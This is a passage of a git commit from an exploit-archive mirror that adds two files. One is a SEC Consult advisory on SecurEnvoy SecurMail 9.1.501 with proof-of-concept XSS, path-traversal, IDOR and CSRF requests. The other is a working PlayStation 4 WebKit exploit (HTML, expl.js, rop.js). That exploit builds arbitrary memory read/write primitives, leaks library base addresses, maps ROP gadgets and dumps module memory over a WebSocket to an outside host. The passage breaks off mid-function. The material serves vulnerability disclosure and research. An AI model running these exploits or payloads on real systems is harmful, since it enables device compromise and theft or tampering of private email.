DB: 2018-03-14
6 changes to exploits/shellcodes Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC) MicroTik RouterOS 3.13 - SNMP write (Set request) MikroTik RouterOS 3.13 - SNMP write (Set request) Mikrotik RouterOS sshd (ROSSSH) - Unauthenticated Remote Heap Corruption MikroTik RouterOS - sshd (ROSSSH) Unauthenticated Remote Heap Corruption MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution SecurEnvoy SecurMail 9.1.501 - Multiple Vulnerabilities Tuleap 9.17.99.189 - Blind SQL Injection
This commit is contained in:
parent
3f6d16d5c3
commit
17d2f47aad
7 changed files with 1766 additions and 3 deletions
281
exploits/aspx/webapps/44285.txt
Normal file
281
exploits/aspx/webapps/44285.txt
Normal file
|
@ -0,0 +1,281 @@
|
|||
SEC Consult Vulnerability Lab Security Advisory < 20180312-0 >
|
||||
=======================================================================
|
||||
title: Multiple Critical Vulnerabilities
|
||||
product: SecurEnvoy SecurMail
|
||||
vulnerable version: 9.1.501
|
||||
fixed version: 9.2.501 or hotfix patch "1_012018"
|
||||
CVE number: CVE-2018-7701, CVE-2018-7702, CVE-2018-7703, CVE-2018-7704,
|
||||
CVE-2018-7705, CVE-2018-7706, CVE-2018-7707
|
||||
impact: Critical
|
||||
homepage: https://www.securenvoy.com/
|
||||
found: 2017-11
|
||||
by: W. Ettlinger (Office Vienna)
|
||||
SEC Consult Vulnerability Lab
|
||||
|
||||
An integrated part of SEC Consult
|
||||
Europe | Asia | North America
|
||||
|
||||
https://www.sec-consult.com
|
||||
|
||||
=======================================================================
|
||||
|
||||
Vendor description:
|
||||
-------------------
|
||||
"Sending and receiving encrypted emails is not an easy or simple experience.
|
||||
Businesses rely on email with an increasing amount of sensitive data sent across
|
||||
their networks. A revolutionary approach that doesn't suffer from the overheads
|
||||
of deployment and encryption management; just rock-solid security to give you
|
||||
100% confidence in your business communications."
|
||||
|
||||
URL: https://www.securenvoy.com/products/securmail/key-features.shtm
|
||||
|
||||
|
||||
Business recommendation:
|
||||
------------------------
|
||||
During a brief crash test of the SecurEnvoy SecurMail application several severe
|
||||
vulnerabilities have been identified that break the core security promises of
|
||||
the product.
|
||||
|
||||
These vulnerabilities open the possibility for several different attack
|
||||
scenarios that allow an attacker to read other users' encrypted e-mails and
|
||||
overwrite or delete e-mails stored in other users' inboxes.
|
||||
|
||||
As we have identified several critical vulnerabilities within a very short time
|
||||
frame we expect numerous other vulnerabilities to be present.
|
||||
|
||||
As other SecureEnvoy products (besides the analyzed SecurMail) appear
|
||||
to be highly integrated (all products are installed with a single setup
|
||||
file) we suspect other components to also suffer from severe security deficits.
|
||||
|
||||
We recommend not to use SecurEnvoy products (especially SecurMail) in a
|
||||
production environment until:
|
||||
* a comprehensive security audit has been performed and
|
||||
* state of the art security mechanisms have been adopted.
|
||||
|
||||
|
||||
Vulnerability overview/description:
|
||||
-----------------------------------
|
||||
1) Cross Site Scripting (CVE-2018-7703, CVE-2018-7707)
|
||||
SEC Consult did not find any functionality that encodes user input when creating
|
||||
HTML pages. Therefore persistent and reflected cross site scripting attacks are
|
||||
possible throughout the application.
|
||||
|
||||
Some pages fail to properly decode URL encoded parameters. Because of this, cross
|
||||
site scripting cannot be exploited on these pages in most browsers.
|
||||
|
||||
|
||||
2) Path Traversal (CVE-2018-7705, CVE-2018-7706)
|
||||
SEC Consult did not find any path traversal checks throughout the application.
|
||||
Since the application uses encrypted files as the primary method of data
|
||||
storage, this vulnerability can be exploited at several points.
|
||||
|
||||
Using this vulnerability, a legitimate recipient can read mails sent to other
|
||||
recipients in plain text!
|
||||
|
||||
|
||||
3) Insecure Direct Object Reference (CVE-2018-7704)
|
||||
Authorization checks are only partially implemented. This allows a legitimate
|
||||
recipient to read mails sent to other users in plain text.
|
||||
|
||||
|
||||
4) Missing Authentication and Authorization (CVE-2018-7702)
|
||||
In order to send encrypted e-mails a client does not need to authenticate on the
|
||||
SecurEnvoy server. Therefore anyone with network access to the server can
|
||||
arbitrarily send e-mails that appear to come from an arbitrary sender address.
|
||||
|
||||
Moreover, an attacker with network access to the server can re-send previous
|
||||
communication to arbitrary recipients. This allows him/her to extract all
|
||||
e-mails stored on the server. An attacker could also modify arbitrary messages
|
||||
stored on the server.
|
||||
|
||||
|
||||
5) Cross Site Request Forgery (CVE-2018-7701)
|
||||
SEC Consult did not find any protection against cross site request forgery. An
|
||||
attacker could use this vulnerability to delete a victim's e-mail or to
|
||||
impersonate the victim and reply to his/her e-mails.
|
||||
|
||||
|
||||
Since these vulnerabilities were found during a very short time frame, SEC
|
||||
Consult believes that the product may contain a large number of other security
|
||||
vulnerabilities. As already several core security promises have been broken
|
||||
during this short crash test, no further tests were conducted.
|
||||
|
||||
|
||||
Proof of concept:
|
||||
-----------------
|
||||
1) Cross Site Scripting
|
||||
a) The following HTML fragments demonstrates reflected cross site scripting
|
||||
(CVE-2018-7703):
|
||||
|
||||
--- snip ---
|
||||
<form action="http://<host>/secmail/getmessage.exe" method="POST"
|
||||
enctype="text/plain">
|
||||
<input type="hidden" name="mailboxid"
|
||||
|
||||
value=""><script>alert('xss')</script>" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
--- snip ---
|
||||
|
||||
b) E-mails that are sent using the HTML format can contain any <script> tags
|
||||
(CVE-2018-7707). These are executed once the victim opens the message in the
|
||||
web interface.
|
||||
|
||||
|
||||
2) Path Traversal
|
||||
a) The following request demonstrates how the message body of the e-mail with id
|
||||
107 can be overwritten while uploading the body for message 103. The message
|
||||
IDs can easily be guessed since they are assigned sequentially
|
||||
(CVE-2018-7705).
|
||||
|
||||
--- snip---
|
||||
POST /secupload2/upload.aspx HTTP/1.1
|
||||
Host: <host>
|
||||
Content-Type: multipart/form-data; boundary=--------822119548
|
||||
Content-Length: 309
|
||||
|
||||
----------822119548
|
||||
Content-Disposition: form-data; name="FileName"
|
||||
|
||||
x
|
||||
----------822119548
|
||||
Content-Disposition: form-data; name="MessageID"
|
||||
|
||||
103
|
||||
----------822119548
|
||||
Content-Disposition: form-data; filename="../107/BODY"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
some message
|
||||
----------822119548--
|
||||
--- snip ---
|
||||
|
||||
b) The following link demonstrates how the message body of the e-mail with id
|
||||
107 can be retrieved while only having access to the mail with id 103
|
||||
(CVE-2018-7706):
|
||||
|
||||
http://<host>/secmail/getmessage.exe?mailboxid=<mailbox-id>&action=attachment&option1=103&option2=../107/BODY
|
||||
|
||||
|
||||
3) Insecure Direct Object Reference (CVE-2018-7704)
|
||||
The functionality that allows a recipient to read an e-mail checks whether the
|
||||
user is actually authorized to read the requested e-mail. However, by using the
|
||||
functionality that allows a user to reply to an e-mail, an attacker can
|
||||
manipulate the id that is sent as a URL parameter to read arbitrary e-mails.
|
||||
The following link demonstrates the retrieval of the message with id 103. The
|
||||
message id can easily be guessed since they are assigned sequentially.
|
||||
|
||||
http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=reply&option1=103
|
||||
|
||||
|
||||
4) Missing Authorization (CVE-2018-7702)
|
||||
In order to send an e-mail to a recipient the following requests have to be
|
||||
made:
|
||||
1. Execute a GETINFO request in order to request a message id.
|
||||
2. Upload the message body and the attachments.
|
||||
3. Execute a STORE request to send the message to the recipients.
|
||||
|
||||
Neither of these requests require any authentication. Therefore, also no
|
||||
authorization is made. Attack scenarios include:
|
||||
a) Extract any message by executing step #3 while specifying an own e-mail
|
||||
address as recipient and the message id to extract.
|
||||
b) Overwrite attachments or message bodies of previously sent e-mails by
|
||||
executing step #2 to upload arbitrary content.
|
||||
|
||||
|
||||
5) Cross-Site Request Forgery
|
||||
SEC Consult did not find any CSRF protection within the web interface. Moreover,
|
||||
CSRF attacks are possible against the API used to send e-mails. Since this API
|
||||
does not require authentication, being authenticated on the server is not a
|
||||
precondition for a successful attack. Instead, the attack exploits the victim's
|
||||
network location.
|
||||
|
||||
a) The following link demonstrates how e-mails can be deleted using a CSRF
|
||||
attack (CVE-2018-7701):
|
||||
|
||||
http://<host>/secmail/getmessage.exe?mailboxid=<mailboxid>&action=delete&option1=103
|
||||
|
||||
b) The following HTML fragment demonstrates how the API can be exploited to send
|
||||
an e-mail with an arbitrary message id to an arbitrary recipient (also
|
||||
CVE-2018-7702):
|
||||
|
||||
<form action="http://<host>/secserver/securectrl.exe" method="POST"
|
||||
enctype="text/plain">
|
||||
<input type="hidden"
|
||||
name="FLAG:STORE VERSION:1.0 RECIPIENT_MOBILE_LIST:SMTP" value="bob@local:MOBILE=00000 SENDER:me@local RECORDED_DELIVERY: SUBJECTB64:AAAA MESSAGEID:108 SENDERMOBILE:000000 REPLY:False" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
|
||||
|
||||
Vulnerable / tested versions:
|
||||
-----------------------------
|
||||
The version 9.1.501 was found to be vulnerable. This was the latest version at
|
||||
the time of discovery.
|
||||
|
||||
|
||||
Vendor contact timeline:
|
||||
------------------------
|
||||
2017-11-20: Contacting vendor through info <at> securenvoy <dot> com
|
||||
2017-11-21: SecureEnvoy requests to upload advisory through their SecurMail
|
||||
instance
|
||||
2017-11-22: Uploading advisory to SecurEnvoy's SecurMail instance
|
||||
2017-12-13: SecurEnvoy: engineering team is investigating issues;
|
||||
product will be re-engineered; asked for deadline extension until
|
||||
revised software is available
|
||||
2017-11-15: Postponing advisory release to 2017-02-21
|
||||
2018-01-22: SecurEnvoy sends release notes document for the security patch
|
||||
"1_012018"; Fixed vulnerabilities: Path traversal, Insecure Direct
|
||||
Object Reference, XSS, CSRF; SecurEnvoy instructs customers to
|
||||
configure requiring client certificates for the "secserver" endpoint
|
||||
2018-02-22: Asking whether the security patch has been released
|
||||
2018-03-01: Asking for status update
|
||||
2018-03-01: SecurEnvoy: patch has been released
|
||||
2018-03-12: Releasing security advisory
|
||||
|
||||
|
||||
Solution:
|
||||
---------
|
||||
Customers of SecurEnvoy should immediately apply the security patch "1_012018"
|
||||
or update to version 9.2.501 of the software.
|
||||
|
||||
|
||||
Workaround:
|
||||
-----------
|
||||
None
|
||||
|
||||
|
||||
Advisory URL:
|
||||
-------------
|
||||
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
|
||||
|
||||
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
SEC Consult Vulnerability Lab
|
||||
|
||||
SEC Consult
|
||||
Europe | Asia | North America
|
||||
|
||||
About SEC Consult Vulnerability Lab
|
||||
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
|
||||
ensures the continued knowledge gain of SEC Consult in the field of network
|
||||
and application security to stay ahead of the attacker. The SEC Consult
|
||||
Vulnerability Lab supports high-quality penetration testing and the evaluation
|
||||
of new offensive and defensive technologies for our customers. Hence our
|
||||
customers obtain the most current information about vulnerabilities and valid
|
||||
recommendation about the risk profile of new technologies.
|
||||
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
Interested to work with the experts of SEC Consult?
|
||||
Send us your application https://www.sec-consult.com/en/career/index.html
|
||||
|
||||
Interested in improving your cyber security with the experts of SEC Consult?
|
||||
Contact our local offices https://www.sec-consult.com/en/contact/index.html
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
Mail: research at sec-consult dot com
|
||||
Web: https://www.sec-consult.com
|
||||
Blog: http://blog.sec-consult.com
|
||||
Twitter: https://twitter.com/sec_consult
|
||||
|
||||
EOF W. Ettlinger / @2018
|
853
exploits/hardware/local/44282.txt
Normal file
853
exploits/hardware/local/44282.txt
Normal file
|
@ -0,0 +1,853 @@
|
|||
<--- index.html --->
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
window.didload = 0;
|
||||
window.didpost = 0;
|
||||
window.onload = function() {
|
||||
window.didload = 1;
|
||||
if (window.didpost == 1)
|
||||
window.stage2();
|
||||
}
|
||||
window.postExpl = function() {
|
||||
window.didpost = 1;
|
||||
if (window.didload == 1)
|
||||
window.stage2();
|
||||
}
|
||||
</script>
|
||||
<script src="./expl.js"></script>
|
||||
<script src="./rop.js"></script>
|
||||
<pre id="console"></pre>
|
||||
</body>
|
||||
</html>
|
||||
<--- /index.html --->
|
||||
|
||||
|
||||
<--- expl.js --->
|
||||
function makeid() {
|
||||
var text = "";
|
||||
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
|
||||
|
||||
for (var i = 0; i < 8; i++)
|
||||
text += possible.charAt(Math.floor(Math.random() * possible.length));
|
||||
|
||||
return text;
|
||||
};
|
||||
|
||||
var instancespr = [];
|
||||
|
||||
for (var i = 0; i < 4096; i++) {
|
||||
instancespr[i] = new Uint32Array(1);
|
||||
instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
|
||||
}
|
||||
|
||||
var _dview;
|
||||
|
||||
function u2d(low, hi) {
|
||||
if (!_dview) _dview = new DataView(new ArrayBuffer(16));
|
||||
_dview.setUint32(0, hi);
|
||||
_dview.setUint32(4, low);
|
||||
return _dview.getFloat64(0);
|
||||
}
|
||||
var dgc = function() {
|
||||
for (var i = 0; i < 0x100; i++) {
|
||||
new ArrayBuffer(0x100000);
|
||||
}
|
||||
}
|
||||
|
||||
function int64(low, hi) {
|
||||
this.low = (low >>> 0);
|
||||
this.hi = (hi >>> 0);
|
||||
|
||||
this.add32inplace = function(val) {
|
||||
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo < this.low) {
|
||||
new_hi++;
|
||||
}
|
||||
|
||||
this.hi = new_hi;
|
||||
this.low = new_lo;
|
||||
}
|
||||
|
||||
this.add32 = function(val) {
|
||||
var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo < this.low) {
|
||||
new_hi++;
|
||||
}
|
||||
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.sub32 = function(val) {
|
||||
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi--;
|
||||
}
|
||||
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.sub32inplace = function(val) {
|
||||
var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
|
||||
var new_hi = (this.hi >>> 0);
|
||||
|
||||
if (new_lo > (this.low) & 0xFFFFFFFF) {
|
||||
new_hi--;
|
||||
}
|
||||
|
||||
this.hi = new_hi;
|
||||
this.low = new_lo;
|
||||
}
|
||||
|
||||
this.and32 = function(val) {
|
||||
var new_lo = this.low & val;
|
||||
var new_hi = this.hi;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.and64 = function(vallo, valhi) {
|
||||
var new_lo = this.low & vallo;
|
||||
var new_hi = this.hi & valhi;
|
||||
return new int64(new_lo, new_hi);
|
||||
}
|
||||
|
||||
this.toString = function(val) {
|
||||
val = 16;
|
||||
var lo_str = (this.low >>> 0).toString(val);
|
||||
var hi_str = (this.hi >>> 0).toString(val);
|
||||
|
||||
if (this.hi == 0)
|
||||
return lo_str;
|
||||
else
|
||||
lo_str = zeroFill(lo_str, 8)
|
||||
|
||||
return hi_str + lo_str;
|
||||
}
|
||||
|
||||
this.toPacked = function() {
|
||||
return {
|
||||
hi: this.hi,
|
||||
low: this.low
|
||||
};
|
||||
}
|
||||
|
||||
this.setPacked = function(pck) {
|
||||
this.hi = pck.hi;
|
||||
this.low = pck.low;
|
||||
return this;
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
||||
|
||||
function zeroFill(number, width) {
|
||||
width -= number.toString().length;
|
||||
|
||||
if (width > 0) {
|
||||
return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
|
||||
}
|
||||
|
||||
return number + ""; // always return a string
|
||||
}
|
||||
|
||||
var nogc = [];
|
||||
|
||||
var fail = function() {
|
||||
alert.apply(null, arguments);
|
||||
throw "fail";
|
||||
}
|
||||
|
||||
// Target JSObject for overlap
|
||||
var tgt = {
|
||||
a: 0,
|
||||
b: 0,
|
||||
c: 0,
|
||||
d: 0
|
||||
}
|
||||
|
||||
var y = new ImageData(1, 0x4000)
|
||||
postMessage("", "*", [y.data.buffer]);
|
||||
|
||||
// Spray properties to ensure object is fastmalloc()'d and can be found easily later
|
||||
var props = {};
|
||||
|
||||
for (var i = 0;
|
||||
(i < (0x4000 / 2));) {
|
||||
props[i++] = {
|
||||
value: 0x42424242
|
||||
};
|
||||
props[i++] = {
|
||||
value: tgt
|
||||
};
|
||||
}
|
||||
|
||||
var foundLeak = undefined;
|
||||
var foundIndex = 0;
|
||||
var maxCount = 0x100;
|
||||
|
||||
while (foundLeak == undefined && maxCount > 0) {
|
||||
maxCount--;
|
||||
|
||||
history.pushState(y, "");
|
||||
|
||||
Object.defineProperties({}, props);
|
||||
|
||||
var leak = new Uint32Array(history.state.data.buffer);
|
||||
|
||||
for (var i = 0; i < leak.length - 6; i++) {
|
||||
if (
|
||||
leak[i] == 0x42424242 &&
|
||||
leak[i + 0x1] == 0xFFFF0000 &&
|
||||
leak[i + 0x2] == 0x00000000 &&
|
||||
leak[i + 0x3] == 0x00000000 &&
|
||||
leak[i + 0x4] == 0x00000000 &&
|
||||
leak[i + 0x5] == 0x00000000 &&
|
||||
leak[i + 0x6] == 0x0000000E &&
|
||||
leak[i + 0x7] == 0x00000000 &&
|
||||
leak[i + 0xA] == 0x00000000 &&
|
||||
leak[i + 0xB] == 0x00000000 &&
|
||||
leak[i + 0xC] == 0x00000000 &&
|
||||
leak[i + 0xD] == 0x00000000 &&
|
||||
leak[i + 0xE] == 0x0000000E &&
|
||||
leak[i + 0xF] == 0x00000000
|
||||
) {
|
||||
foundIndex = i;
|
||||
foundLeak = leak;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!foundLeak) {
|
||||
failed = true
|
||||
fail("Failed to find leak!")
|
||||
}
|
||||
|
||||
var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
|
||||
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
|
||||
|
||||
Array.prototype.__defineGetter__(100, () => 1);
|
||||
|
||||
var f = document.body.appendChild(document.createElement('iframe'));
|
||||
var a = new f.contentWindow.Array(13.37, 13.37);
|
||||
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);
|
||||
|
||||
var master = new Uint32Array(0x1000);
|
||||
var slave = new Uint32Array(0x1000);
|
||||
var leakval_u32 = new Uint32Array(0x1000);
|
||||
var leakval_helper = [slave, 2, 3, 4, 5, 6, 7, 8, 9, 10];
|
||||
|
||||
// Create fake ArrayBufferView
|
||||
tgt.a = u2d(2048, 0x1602300);
|
||||
tgt.b = 0;
|
||||
tgt.c = leakval_helper;
|
||||
tgt.d = 0x1337;
|
||||
|
||||
var c = Array.prototype.concat.call(a, b);
|
||||
document.body.removeChild(f);
|
||||
var hax = c[0];
|
||||
c[0] = 0;
|
||||
|
||||
tgt.c = c;
|
||||
|
||||
hax[2] = 0;
|
||||
hax[3] = 0;
|
||||
|
||||
Object.defineProperty(Array.prototype, 100, {
|
||||
get: undefined
|
||||
});
|
||||
|
||||
tgt.c = leakval_helper;
|
||||
var butterfly = new int64(hax[2], hax[3]);
|
||||
butterfly.low += 0x10;
|
||||
|
||||
tgt.c = leakval_u32;
|
||||
var lkv_u32_old = new int64(hax[4], hax[5]);
|
||||
hax[4] = butterfly.low;
|
||||
hax[5] = butterfly.hi;
|
||||
// Setup read/write primitive
|
||||
|
||||
tgt.c = master;
|
||||
hax[4] = leakval_u32[0];
|
||||
hax[5] = leakval_u32[1];
|
||||
|
||||
var addr_to_slavebuf = new int64(master[4], master[5]);
|
||||
tgt.c = leakval_u32;
|
||||
hax[4] = lkv_u32_old.low;
|
||||
hax[5] = lkv_u32_old.hi;
|
||||
|
||||
tgt.c = 0;
|
||||
hax = 0;
|
||||
|
||||
var prim = {
|
||||
write8: function(addr, val) {
|
||||
master[4] = addr.low;
|
||||
master[5] = addr.hi;
|
||||
|
||||
if (val instanceof int64) {
|
||||
slave[0] = val.low;
|
||||
slave[1] = val.hi;
|
||||
} else {
|
||||
slave[0] = val;
|
||||
slave[1] = 0;
|
||||
}
|
||||
|
||||
master[4] = addr_to_slavebuf.low;
|
||||
master[5] = addr_to_slavebuf.hi;
|
||||
},
|
||||
|
||||
write4: function(addr, val) {
|
||||
master[4] = addr.low;
|
||||
master[5] = addr.hi;
|
||||
|
||||
slave[0] = val;
|
||||
|
||||
master[4] = addr_to_slavebuf.low;
|
||||
master[5] = addr_to_slavebuf.hi;
|
||||
},
|
||||
|
||||
read8: function(addr) {
|
||||
master[4] = addr.low;
|
||||
master[5] = addr.hi;
|
||||
|
||||
var rtv = new int64(slave[0], slave[1]);
|
||||
|
||||
master[4] = addr_to_slavebuf.low;
|
||||
master[5] = addr_to_slavebuf.hi;
|
||||
|
||||
return rtv;
|
||||
},
|
||||
|
||||
read4: function(addr) {
|
||||
master[4] = addr.low;
|
||||
master[5] = addr.hi;
|
||||
|
||||
var rtv = slave[0];
|
||||
|
||||
master[4] = addr_to_slavebuf.low;
|
||||
master[5] = addr_to_slavebuf.hi;
|
||||
|
||||
return rtv;
|
||||
},
|
||||
|
||||
leakval: function(jsval) {
|
||||
leakval_helper[0] = jsval;
|
||||
var rtv = this.read8(butterfly);
|
||||
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
|
||||
|
||||
return rtv;
|
||||
},
|
||||
|
||||
createval: function(jsval) {
|
||||
this.write8(butterfly, jsval);
|
||||
var rt = leakval_helper[0];
|
||||
this.write8(butterfly, new int64(0x41414141, 0xffff0000));
|
||||
return rt;
|
||||
}
|
||||
};
|
||||
|
||||
window.primitives = prim;
|
||||
if (window.postExpl) window.postExpl();
|
||||
<--- /expl.js --->
|
||||
|
||||
|
||||
<--- rop.js -->
|
||||
var p;
|
||||
var xhr_sync_log = function(str) {
|
||||
var req = new XMLHttpRequest();
|
||||
req.open('GET', "log?" + str, false);
|
||||
try {
|
||||
req.send();
|
||||
} catch(e){}
|
||||
}
|
||||
var findModuleBaseXHR = function(addr)
|
||||
{
|
||||
var addr_ = addr.add32(0); // copy
|
||||
addr_.low &= 0xFFFFF000;
|
||||
xhr_sync_log("START: " + addr_);
|
||||
|
||||
while (1) {
|
||||
var vr = p.read4(addr_.add32(0x110-4));
|
||||
xhr_sync_log("step" + addr_);
|
||||
addr_.sub32inplace(0x1000);
|
||||
}
|
||||
}
|
||||
var log = function(x) {
|
||||
document.getElementById("console").innerText += x + "\n";
|
||||
}
|
||||
var print = function(string) { // like log but html
|
||||
document.getElementById("console").innerHTML += string + "\n";
|
||||
}
|
||||
|
||||
var dumpModuleXHR = function(moduleBase) {
|
||||
var chunk = new ArrayBuffer(0x1000);
|
||||
var chunk32 = new Uint32Array(chunk);
|
||||
var chunk8 = new Uint8Array(chunk);
|
||||
connection = new WebSocket('ws://10.17.0.1:8080');
|
||||
connection.binaryType = "arraybuffer";
|
||||
var helo = new Uint32Array(1);
|
||||
helo[0] = 0x41414141;
|
||||
|
||||
var moduleBase_ = moduleBase.add32(0);
|
||||
connection.onmessage = function() {
|
||||
try {
|
||||
for (var i = 0; i < chunk32.length; i++)
|
||||
{
|
||||
var val = p.read4(moduleBase_);
|
||||
chunk32[i] = val;
|
||||
moduleBase_.add32inplace(4);
|
||||
}
|
||||
connection.send(chunk8);
|
||||
} catch (e) {
|
||||
print(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
var get_jmptgt = function(addr)
|
||||
{
|
||||
var z=p.read4(addr) & 0xFFFF;
|
||||
var y=p.read4(addr.add32(2));
|
||||
if (z != 0x25ff) return 0;
|
||||
|
||||
return addr.add32(y+6);
|
||||
|
||||
}
|
||||
var gadgetmap_wk = {
|
||||
"ep": [0x5B, 0x41, 0x5C, 0x41, 0x5D, 0x41, 0x5E, 0x41, 0x5F, 0x5D, 0xC3],
|
||||
"pop rsi": [0x5E, 0xC3],
|
||||
"pop rdi": [0x5F, 0xC3],
|
||||
"pop rsp": [0x5c, 0xC3],
|
||||
"pop rax": [0x58, 0xC3],
|
||||
"pop rdx": [0x5a, 0xC3],
|
||||
"pop rcx": [0x59, 0xC3],
|
||||
"pop rsp": [0x5c, 0xC3],
|
||||
"pop rbp": [0x5d, 0xC3],
|
||||
"pop r8": [0x47, 0x58, 0xC3],
|
||||
"pop r9": [0x47, 0x59, 0xC3],
|
||||
"infloop": [0xEB, 0xFE, 0xc3],
|
||||
"ret": [0xC3],
|
||||
"mov [rdi], rsi": [0x48, 0x89, 0x37, 0xC3],
|
||||
"mov [rax], rsi": [0x48, 0x89, 0x30, 0xC3],
|
||||
"mov [rdi], rax": [0x48, 0x89, 0x07, 0xC3],
|
||||
"mov rxa, rdi": [0x48, 0x89, 0xF8, 0xC3]
|
||||
};
|
||||
var slowpath_jop = [0x48, 0x8B, 0x7F, 0x48, 0x48, 0x8B, 0x07, 0x48, 0x8B, 0x40, 0x30, 0xFF, 0xE0];
|
||||
slowpath_jop.reverse();
|
||||
|
||||
var gadgets;
|
||||
window.stage2 = function() {
|
||||
try {
|
||||
window.stage2_();
|
||||
} catch (e) {
|
||||
print(e);
|
||||
}
|
||||
}
|
||||
var gadgetcache = {"ret":60,"ep":173,"pop rbp":182,"pop rax":17781,"mov rax, rdi":23248,"pop r8":100517,"pop rsp":128173,"mov [rdi], rsi":150754,"pop rcx":169041,"pop rdi":239071,"pop rsi":597265,"mov [rdi], rax":782172,"jop":813600,"pop rdx":1092690,"mov [rax], rsi":2484823,"pop r9":21430095,"infloop":22604906}, gadgetoffs = {};
|
||||
window.stage2_ = function() {
|
||||
p = window.prim;
|
||||
print ("[+] exploit succeeded");
|
||||
print("webkit exploit result: " + p.leakval(0x41414141));
|
||||
print ("--- welcome to stage2 ---");
|
||||
p.leakfunc = function(func)
|
||||
{
|
||||
var fptr_store = p.leakval(func);
|
||||
return (p.read8(fptr_store.add32(0x18))).add32(0x40);
|
||||
}
|
||||
gadgetconn = 0;
|
||||
if (!gadgetcache)
|
||||
gadgetconn = new WebSocket('ws://10.17.0.1:8080');
|
||||
|
||||
var parseFloatStore = p.leakfunc(parseFloat);
|
||||
var parseFloatPtr = p.read8(parseFloatStore);
|
||||
print("parseFloat at: 0x" + parseFloatPtr);
|
||||
var webKitBase = p.read8(parseFloatStore);
|
||||
window.webKitBase = webKitBase;
|
||||
|
||||
webKitBase.low &= 0xfffff000;
|
||||
webKitBase.sub32inplace(0x5b7000-0x1C000);
|
||||
|
||||
print("libwebkit base at: 0x" + webKitBase);
|
||||
|
||||
var o2wk = function(o)
|
||||
{
|
||||
return webKitBase.add32(o);
|
||||
}
|
||||
|
||||
gadgets = {
|
||||
"stack_chk_fail": o2wk(0xc8),
|
||||
"memset": o2wk(0x228),
|
||||
"setjmp": o2wk(0x14f8)
|
||||
};
|
||||
/*
|
||||
var libSceLibcInternalBase = p.read8(get_jmptgt(gadgets.memset));
|
||||
libSceLibcInternalBase.low &= ~0x3FFF;
|
||||
libSceLibcInternalBase.sub32inplace(0x20000);
|
||||
print("libSceLibcInternal: 0x" + libSceLibcInternalBase.toString());
|
||||
window.libSceLibcInternalBase = libSceLibcInternalBase;
|
||||
*/
|
||||
var libKernelBase = p.read8(get_jmptgt(gadgets.stack_chk_fail));
|
||||
window.libKernelBase = libKernelBase;
|
||||
libKernelBase.low &= 0xfffff000;
|
||||
libKernelBase.sub32inplace(0x12000);
|
||||
print("libkernel_web base at: 0x" + libKernelBase);
|
||||
|
||||
|
||||
var o2lk = function(o)
|
||||
{
|
||||
return libKernelBase.add32(o);
|
||||
}
|
||||
window.o2lk = o2lk;
|
||||
|
||||
var wkview = new Uint8Array(0x1000);
|
||||
var wkstr = p.leakval(wkview).add32(0x10);
|
||||
var orig_wkview_buf = p.read8(wkstr);
|
||||
|
||||
p.write8(wkstr, webKitBase);
|
||||
p.write4(wkstr.add32(8), 0x367c000);
|
||||
|
||||
var gadgets_to_find = 0;
|
||||
var gadgetnames = [];
|
||||
for (var gadgetname in gadgetmap_wk) {
|
||||
if (gadgetmap_wk.hasOwnProperty(gadgetname)) {
|
||||
gadgets_to_find++;
|
||||
gadgetnames.push(gadgetname);
|
||||
gadgetmap_wk[gadgetname].reverse();
|
||||
}
|
||||
}
|
||||
log("finding gadgets");
|
||||
|
||||
gadgets_to_find++; // slowpath_jop
|
||||
|
||||
var findgadget = function(donecb) {
|
||||
if (gadgetcache)
|
||||
{
|
||||
gadgets_to_find=0;
|
||||
slowpath_jop=0;
|
||||
log("using cached gadgets");
|
||||
|
||||
for (var gadgetname in gadgetcache) {
|
||||
if (gadgetcache.hasOwnProperty(gadgetname)) {
|
||||
gadgets[gadgetname] = o2wk(gadgetcache[gadgetname]);
|
||||
}
|
||||
}
|
||||
|
||||
} else {
|
||||
for (var i=0; i < wkview.length; i++)
|
||||
{
|
||||
if (wkview[i] == 0xc3)
|
||||
{
|
||||
for (var nl=0; nl < gadgetnames.length; nl++)
|
||||
{
|
||||
